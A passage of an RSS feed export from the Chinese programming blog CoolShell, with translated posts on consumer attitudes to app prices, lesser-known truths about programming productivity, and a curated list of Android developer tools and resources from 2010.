4G，加上税要$425.19</p>\n<p><strong>消费者</strong>：只要$425？！这仅相当于我老婆把背上的毛给去掉价格的1/10！拿钱！花这点钱连想不用想。</p></blockquote>\n<p style=\"text-align: center;\"><img decoding=\"async\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/4.png\" alt=\"How I feel about buying apps\" /></p>\n<blockquote><p><strong>Apple</strong>：iPad 3GS 加一个保护盒，一共$875.24</p>\n<p><strong>消费者</strong>：$875？这就些？啊，我要两个，一个给我，一个给我身边这个有毛的朋友。</p></blockquote>\n<p style=\"text-align: center;\"><a href=\"http://theoatmeal.com/\"><img decoding=\"async\" src=\"http://s3.amazonaws.com/theoatmeal-img/comics/apps/5.png\" alt=\"How I feel about buying apps\" /></a></p>\n<blockquote><p><strong>网站</strong>：下载应用：HorseHunter Extreme！点击OK确认你想花$0.99买这个应用。</p>\n<p><strong>消费者</strong>：什么？什么？什么？！99美分？！靠，我不知道……这么多钱啊！我应该把我的会技师找来，或是明天再说吧。</p></blockquote>\n<p>（完）</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"10个必需的iOS开发工具和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_title\">10个必需的iOS开发工具和资源</a></li><li ><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"苹果开发工具Xcode 4 第二预览版\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2719.html\" class=\"wp_rp_title\">苹果开发工具Xcode 4 第二预览版</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"食客还是大厨\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_title\">食客还是大厨</a></li><li ><a href=\"https://coolshell.cn/articles/2507.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/06/5176XS40F9L._SL500_AA300_-150x150.jpg\" alt=\"2000年的iMac和2010年的iPhone\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2507.html\" class=\"wp_rp_title\">2000年的iMac和2010年的iPhone</a></li><li ><a href=\"https://coolshell.cn/articles/2086.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/02/ipad-150x150.jpg\" alt=\"iPad进化图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2086.html\" class=\"wp_rp_title\">iPad进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2913.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>17</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些鲜为人知的编程事实</title>\n\t\t<link>https://coolshell.cn/articles/2909.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2909.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 03 Sep 2010 00:55:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2909</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>文章来源：http://dotmac.rationalmind.net/2010/08/some-lesser-known-truths-about-progr...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2909.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2909.html\">一些鲜为人知的编程事实</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>文章来源：<a href=\"http://dotmac.rationalmind.net/2010/08/some-lesser-known-truths-about-programming/\" target=\"_blank\">http://dotmac.rationalmind.net/2010/08/some-lesser-known-truths-about-programming/</a></p>\n<p>我的程序员经历让我明白了一些关于软件开发的事情。下面是一些在编程中可能会让人感到诧异的事情：</p>\n<ul>\n<li>一个程序员用了大约只用了10%-20%的时间来编码，而且大多数程序员，无论他的水平如何，其<a href=\"http://stackoverflow.com/questions/966800/mythical-man-month-10-lines-per-developer-day-how-close-on-large-projects\" target=\"_blank\">平均每天只有10-12行的代码</a>最终会进入最终的软件产品中。这是因为，<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀的程序员</a>会花费90%的时间来思考、调查、研究最佳的设计。而<a href=\"https://coolshell.cn/articles/1081.html\" target=\"_blank\">糟糕的程序员</a>则会花费90%的时间来调试代码，并随意地改动代码并尝试让代码工作起来。</li>\n</ul>\n<blockquote><p>“A great lathe operator commands several times the wage of an average lathe operator, but a great writer of software code is worth 10,000 times the price of an average software writer.” –Bill Gates</p>\n<p>“一个优秀的车工其工资是一个普通车工的好几倍，但是一个优秀程序员写出来的代码比一个普通程序员要值钱一万倍。——比尔盖茨”</p></blockquote>\n<ul>\n<li>一个好的程序员比一个普通的程序员多十倍的生产率。而一个优秀的程序员的生产率则比普通程序员多20-100倍。<a href=\"http://www.devtopics.com/programmer-productivity-the-tenfinity-factor/\" target=\"_blank\">这并不是夸张</a>（自从上世纪60年代的研究一直表明这是一个事实）。一个糟糕的程序员并不只是没有产出的——他们并不仅是完成不不工作，而且还会制造出大量的让别人头痛并要去解决的麻烦。</li>\n</ul>\n<p><span id=\"more-2909\"></span></p>\n<ul>\n<li>优秀的程序员花少量的时间写代码——那些代码都会出现在最终的产品中。那些花大量的时间写代码的程序员其实是很懒惰、很无知，或是很自大的，以至于不能使用已经存在了的解决方案来解决已有的问题。优秀的程序员精通于对通用的模式的识别和重用。好的程序员并不害怕持续地重构/重写自己的代码，直到达到最理想的方案。糟糕的程序员的代码基本上都缺少概念一致性，代码冗长，缺少层次和模式，所以，也就很难被重构。所以，重写他们的代码要比重构他们的代码要容易得多。</li>\n</ul>\n<ul>\n<li>软件和其它一切事物一样，都遵循着一致性规则。持续得更改只会让软件变成一潭烂泥，其破坏了原始设计的概念一致性。软件产品变成泥沼是不可避免的事情，但是因为程序员不考虑软件概念一致性而导致软件产品更为快速地成为泥沼，这种速度快得可能 会在软件产品还没有完成时，软件产品已经变得没有价值。设计概念一致性的失败通常都会导致软件项目的失败（而第二大导致软件项目失败的原因则是发布的软件并不是用户想要的）。软件变成烂泥的速度正在呈指数级下降，太多的项目在被完结前都面临着激增的时间和成本。</li>\n</ul>\n<ul>\n<li>一个 <a href=\"http://www.softwaremag.com/L.cfm?Doc=newsletter/2004-01-15/Standish\" target=\"_blank\">2004 研究报告</a> 指出，大多数的软件项目 (51%) 都会在关键环节出问题。而15%的项目则是完全失败，当然，这比1994年有了很大的进步，当时完全失败的项目是是31%。</li>\n</ul>\n<ul>\n<li>虽然，几乎所有的软件产品都有些开发团队，但其并不是民主的。通常，只有一个人负责设计，而剩下的人去实现细节。</li>\n</ul>\n<ul>\n<li>编程是一个辛苦的工作。其是一个巨烈的脑力劳动。好的程序员24&#215;7地在思考他们的工作，他们一般都在在洗澡和梦中编写软件中最重要的代码。因为最重要的工作只能在键盘之外完成，软件项目不可能因为加班或是<a href=\"http://en.wikipedia.org/wiki/Brooks's_law\" target=\"_blank\">加人</a>来加快进度。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2909.html\">一些鲜为人知的编程事实</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2909.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>实用Android开发工具和资源精选</title>\n\t\t<link>https://coolshell.cn/articles/2853.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2853.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Thu, 26 Aug 2010 00:43:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[App Inventor]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2853</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>出处：A Useful Selection of Android Developer Tools and Resources 在google、开源平台，和来自移...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2853.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2853.html\">实用Android开发工具和资源精选</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>出处</strong>：<a href=\"http://speckyboy.com/2010/08/04/a-useful-selection-of-android-developer-tools-and-resources/\">A Useful Selection of Android Developer Tools and Resources</a></p>\n<p>在google、开源平台，和来自移动电话制造商HTC,Samsung和Sony Ericsson的支持下，Android平台在市场占有率上相比去年取得的886%增长！如果我只看增长率，IPhone据统计才有61%的增长。这些数据可以给你关于两个平台流行度的印像，但是事实上，这些数据告诉了智能机开发员的谁才是真正的赢家。在时下，智能机越来越流行，因此成为一个快速增长的Android平台的智能机开发人员将会是一个不错的选择。</p>\n<p>相比较其他的平台，Android不依赖于任何约束第三方应用程序的私有的操作系统（题外话：美国最近<a href=\"http://www.bbc.co.uk/news/technology-10836692\">宣布</a>对于IPhone的破解和越狱是合法行为），Android本身就是开源的。由于开源，Android有巨大的开发社区支持。各种个样的例子和教程，GUI素材，和开发工具下载。几乎所有的都是免费提供的。我们选出接近20个可以免费或开源的，工具，资源，开发指南。希望这些资源能给你的Android应用带来帮助。<br />\n<strong> 相关文章参看:</strong></p>\n<ul>\n<li><a href=\"http://speckyboy.com/2010/05/10/android-app-developers-gui-kits-icons-fonts-and-tools/\">Android App Developers GUI Kits, Icons, Fonts and Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/30/iphone-and-ipad-development-gui-kits-stencils-and-icons/\">iPhone and iPad Development GUI Kits, Stencils and Icons →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/12/mobile-web-and-app-development-testing-and-emulation-tools/\">Mobile Web and App Development Testing and Emulation Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/03/08/14-free-mobile-app-development-icon-sets/\">14 Free Mobile Application Development Icon Sets →</a></li>\n</ul>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_01.jpg\" alt=\"\" /></p>\n<p><span id=\"more-2853\"></span></p>\n<h3><a href=\"http://andbook.anddev.org/\">免费的Android开发人员电子书:andbook</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_02.jpg\" alt=\"\" /></p>\n<p>如果你刚步入Android的开发，那么对于第一次开发Android应用程序的你来说，这本书是非常适合的。这本只有62页的PDF电子书里，有简单易懂的入门教程，帮助你在没有任何Android开发知识的背景下，教你开发Android应用程序。<br />\n<a href=\"http://andbook.anddev.org/\">Free Android Developer Ebook: andbook! →</a></p>\n<h3><a href=\"http://kronox.org/documentacion/Professional_Android_Application_Development.pdf\">免费的Android开发人员电子书:专业Android应用程序开发</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_03.jpg\" alt=\"\" /></p>\n<p>专业Android应用程序开发PDF电子书，是一本创建移动手机应用程序的上手指南，这本书特点简洁，还有着能帮助你快速构建真实Android移动电话应用程序的典型的例子。本书覆盖了Android手机所有本质特性，并同时展示了Android手机的高级特性。<br />\n<a href=\"http://kronox.org/documentacion/Professional_Android_Application_Development.pdf\">Free Android Developer Ebook: Professional Android Application Development →</a></p>\n<h3>免费和开源的应用程序</h3>\n<ul>\n<li><a href=\"http://code.google.com/p/apps-for-android/\">apps-for-android (Open Source Applications) →<br />\n</a>这个链接中包含了许多实用的开源的Android应用程序。这些应用程序展示了Android的许多特性。</li>\n</ul>\n<ul>\n<li><a href=\"http://developer.android.com/resources/samples/index.html\">List of Sample Android Apps →</a>（<strong>译者注：</strong>我勒个擦！墙掉了，中国Android开发人员杯具了，看来官方不给力啊，这次元还真是不毛之地啊）<br />\n这个Web页面是一个Android开发包中的实例程序列表。使用这个页面上的链接，你可以通过你的浏览器来阅读这些例子程序的源代码。你也可以把这些实例程序下载下来，当你需要的时候，你可以修改并使用他们。</li>\n</ul>\n<ul>\n<li><a href=\"http://code.google.com/p/android-cookbook/\">Android Cookbook (Examples in Cookbook Form) →<br />\n</a>这个站点有很多实用的Android示例程序，你完全可以重用这些例子。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.openintents.org/en/\">OpenIntents →<br />\n</a>OpenIntends 设计和实现了开放式 intents和接口，其使得Android移动应用程序能更紧密的结合在一起。同时OpenIntends免费的提供了更专业和复杂的实例应用程序来演示他们的用法。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.androidsnippets.org/\">Android Snippets (Share Useful Snippets of Source Code) →<br />\n</a>Android Snippets 是一个Android的实用代码段库，这个库是用来分享实用和优秀的Android应用程序代码；如果没有特别的需求，我们可以大量的重用这些代码库。</li>\n</ul>\n<h3><a href=\"http://www.addictivetips.com/windows-tips/download-google-android-emulator/\">Windows上的Android</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_10.jpg\" alt=\"\" /></p>\n<p>对于那些想测试驱动Android的开发者，可以使用这个Android模拟器，这个模拟器以单独的应用程序的形式独立运行在Windows PC之上，使用这个模拟器不用下载和完全安装复杂的Android开发包。你甚至可以在这个模拟器上安装和测试Android系统兼容的应用程序。<br />\n<a href=\"http://developer.android.com/guide/developing/tools/emulator.html\">Android Emulator on Windows →</a></p>\n<h3><a href=\"http://developer.android.com/guide/developing/tools/emulator.html\">来自应用程序开发入门的Android模拟器</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_11.jpg\" alt=\"\" /></p>\n<p>Android的开发包中包含了一个移动设备模拟器。这个模拟器模仿了典型移动设备的硬件和软件特性(当然，不包含打电话)。这个模拟器提供各种个样的导航和控制按键，可以使用你的鼠标和键盘来“按”下这些按键为你的应用程序生成事件。这个模拟器也提供一个屏幕为你显示应用程序。同时，SDK中提供了很多能在模拟器上运行的应用程序。<br />\n<a href=\"http://developer.android.com/guide/developing/tools/emulator.html\">Android Emulator from The Developer’s Guide →</a></p>\n<h3><a href=\"http://www.openintents.org/en/node/23\">感应模拟器</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_12.jpg\" alt=\"\" /></p>\n<p>感应模拟器是一个JAVA独立应用程序，感应模拟器模拟感应数据并把数据传给Android模拟器。这个感应模拟器可以让你模拟加速度仪器，指南针，和方向感应，这些数据可以用于Android应用程序，并通过感应器进行控制。<br />\n<a href=\"http://www.openintents.org/en/node/23\">SensorSimulator →</a></p>\n<h3><a href=\"http://github.com/commonsguy/droidex\">DroidEx:大（巨）屏上的Android项目</a></h3>\n<p>DroidEx 可以让你附加的Android设备的显示屏内容复制一份到你的开发机屏幕。使用DroidEx来做演示是非常有用的。因为你可以把你的Android设备连接到你的笔记本电脑上或投影仪上，你的客户就可以通过这些设备来看你Android设备上的内容。DroidEx还可以用来演示那些用模拟器不方便演示的内容，比如说GPS或加速度仪器等内容。<br />\n<a href=\"http://github.com/commonsguy/droidex\">DroidEx: Projecting Android on the Big(ger) Screen →</a></p>\n<h3><a href=\"http://appinventor.googlelabs.com/about/\">Android的App Inventor</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_13.jpg\" alt=\"\" /><br />\nAndroid 的App Inventor是来自Google为非开发人员准备的新工具，通过这个工具，非开发人员可以非常容易地在里面创建应用程序。可以通过网站的视屏来预览这个工具的功能特性。(你可以参看酷壳的<a href=\"https://coolshell.cn/articles/2608.html\" target=\"_blank\">这篇文章</a>)</p>\n<p>(<strong>译者注：</strong>这里还有一个youtube视屏，可惜也墙掉了）<br />\n<a href=\"http://developer.android.com/guide/appendix/faq/commontasks.html\"></a></p>\n<h3><a href=\"http://developer.android.com/guide/appendix/faq/commontasks.html\">如何开发Android中的常用任务</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_04.jpg\" alt=\"\" /></p>\n<p>这是一个关于Android开发可能遇到的常用任务列表集合，并提供了一个快速、 how-to方式的帮助，来帮助你完成这些任务。</p>\n<p><a href=\"http://developer.android.com/guide/appendix/faq/commontasks.html\">Common Tasks and How to Do Them in Android→</a></p>\n<h3><a href=\"http://andblogs.net/fastboot/\">快速启动小抄</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_14.jpg\" alt=\"\" /></p>\n<p>快速启动小抄是一个非常实用和快速的列表，这个列表中罗列一些关于快速启动的相关任务。<br />\n<a href=\"http://andblogs.net/fastboot/\">Fastboot Cheat Sheet →</a></p>\n<h3><a href=\"http://developer.android.com/guide/practices/ui_guidelines/index.html\">UI指导原则</a></h3>\n<p>在这里你可以找一些到官方文章的连接，这些连接来自于“The Developer&#8217;s Guide”。这些文章的内容描述了关于Android可视交互应用程序的UI设计开发的指导原则。</p>\n<ul>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/icon_design.html\">Icon Design Guidelines →</a></li>\n<li>图标指导原则描述每类图标的细节，并做关于尺寸，颜色，阴影其他的细节的规范，根据这些规范你的设计的图标可以适用于Android系统。你也可以下载Android图标模板包，这个包里面是一些Photoshop和Illustrator模板和滤镜文件，通过这个模板包你可以更简单的创建满足规范的图标。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/icon_design.html#templatespack\">Download the Android Icon Templates Pack</a></li>\n<li>控件设计指导描述了如何设计适合其他主页屏的控件。这个连接会连接到一些图形文件和模板，通过这些模板和文件可以使你设计更简单。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/widget_design.html\">Widget Design Guidelines →</a></li>\n<li>Activity和Task设计指导描述了活动的工作方式，并用图解示例演示了Activity，并描述了其重要的底层机制和原理，如多任务系统，Activity重用，intents，Activity栈，和Task。以设计层面的角度覆盖了活动的所有内容。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/activity_task_design.html\">Activity and Task Design Guidelines →</a></li>\n<li>菜单设计指导描述了上下文菜单和选项菜单的不同。如何放置菜单项，何时放置屏幕命令，和其他的一些菜单细节。</li>\n<li><a href=\"http://developer.android.com/guide/practices/ui_guidelines/widget_design.html\">Menu Design Guidelines →</a></li>\n</ul>\n<p><strong><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-1-layouts\">理解Android中的用户接口 来自于</a><a href=\"http://mobiforge.com/\">mobiforge.com</a></strong></p>\n<p>这4部分的文档来自于<a href=\"http://mobiforge.com/\">mobiforge.com</a>,文档中包含了组成Android UI的各种要素。文档的第一部分讨论Android中各种各样的有效的的布局。</p>\n<ol>\n<li>\n<ol>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-1-layouts\">Understanding User Interface in Android – Part 1 →</a></li>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-2-views\">Understanding User Interface in Android – Part 2 →</a></li>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-3-more-views\">Understanding User Interface in Android – Part 3 →</a></li>\n<li><a href=\"http://mobiforge.com/designing/story/understanding-user-interface-android-part-4-even-more-views\">Understanding User Interface in Android – Part 4 →</a></li>\n</ol>\n</li>\n</ol>\n<h3><a href=\"http://www.androidpatterns.com/\">Android UI模式</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_16.jpg\" alt=\"\" /></p>\n<p><a href=\"http://www.androidpatterns.com/\">Android UI Patterns →</a></p>\n<h3><a href=\"http://www.droiddraw.org/\" target=\"_blank\">DroidDraw:Android用户接口图形编辑器</a></h3>\n<p style=\"text-align: left;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_19.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-2868 alignnone\" title=\"android_dev_19\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_19.jpg\" alt=\"\" width=\"300\" height=\"223\" /></a></p>\n<p>DroidDraw是一个为Android创建图形用户界面的UI设计器。它是一个独立的可执行程序，可以运行在Mac OS X，Windows和Linux上。</p>\n<p><a href=\"http://www.droiddraw.org/\">DroidDraw : Graphical User Interface Editor for Android →</a></p>\n<h3><a href=\"http://www.smashingmagazine.com/2009/08/18/android-gui-psd-vector-kit/\">Android GUI PSD 向量包</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_20.jpg\" alt=\"\" /></p>\n<p>Android GUI Starter Kit包里面包含了多个按钮元素和不同接口选项的AndroidGUI内容。这些元素是基于Android1.5 GUI的，并且这些包里面的被提供给开源社区的Android应用程序模型。大部分的GUI元素和手机图例都是使用向量路径制成，所以他们非常地容易被缩放。对于文本AndroidSans包被使用。<br />\n<a href=\"http://www.smashingmagazine.com/2009/08/18/android-gui-psd-vector-kit/\">Android GUI PSD Vector Kit →</a></p>\n<h3><a href=\"http://unitid.nl/2009/11/fireworks-template-for-android/\">Android的Firworks Template</a></h3>\n<p><img decoding=\"async\" title=\"android_dev_01\" src=\"https://coolshell.cn/wp-content/uploads/2010/08/android_dev_22.jpg\" alt=\"\" /></p>\n<p>在Fireworks模板中，Android的各种元素被以向量图形的方式被重绘。在目录中，这些元素的名称大多根据Android词汇表被命名。<br />\n<a href=\"http://unitid.nl/2009/11/fireworks-template-for-android/\">Fireworks Template for Android →</a></p>\n<h3><a href=\"http://www.tomhume.org/2010/01/android-wireframe-templates.html\">Android线框模板 </a></h3>\n<p>线框PDF是信纸大小（8.5英寸 * 11英寸）并且各部件都被拉伸。因此你可以非常容易的以纸张原型或拉伸为真实尺寸的方式来使用。如果你没有信纸，你可以用A4纸来打印。<br />\n<a href=\"http://www.tomhume.org/2010/01/android-wireframe-templates.html\">Android Wireframe Templates →</a><br />\n你也可以参考：</p>\n<ul>\n<li><a href=\"http://speckyboy.com/2010/05/10/android-app-developers-gui-kits-icons-fonts-and-tools/\">Android App Developers GUI Kits, Icons, Fonts and Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/30/iphone-and-ipad-development-gui-kits-stencils-and-icons/\">iPhone and iPad Development GUI Kits, Stencils and Icons →</a></li>\n<li><a href=\"http://speckyboy.com/2010/04/12/mobile-web-and-app-development-testing-and-emulation-tools/\">Mobile Web and App Development Testing and Emulation Tools →</a></li>\n<li><a href=\"http://speckyboy.com/2010/03/08/14-free-mobile-app-development-icon-sets/\">14 Free Mobile Application Development Icon Sets →</a></li>\n<li><a href=\"http://speckyboy.com/2009/09/15/45-cool-google-android-apps-the-perfect-iphone-replacement/\">45+ Cool Google Android Apps – The Perfect iPhone Replacement →</a></li>\n</ul>\n<p><strong>（全文完）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 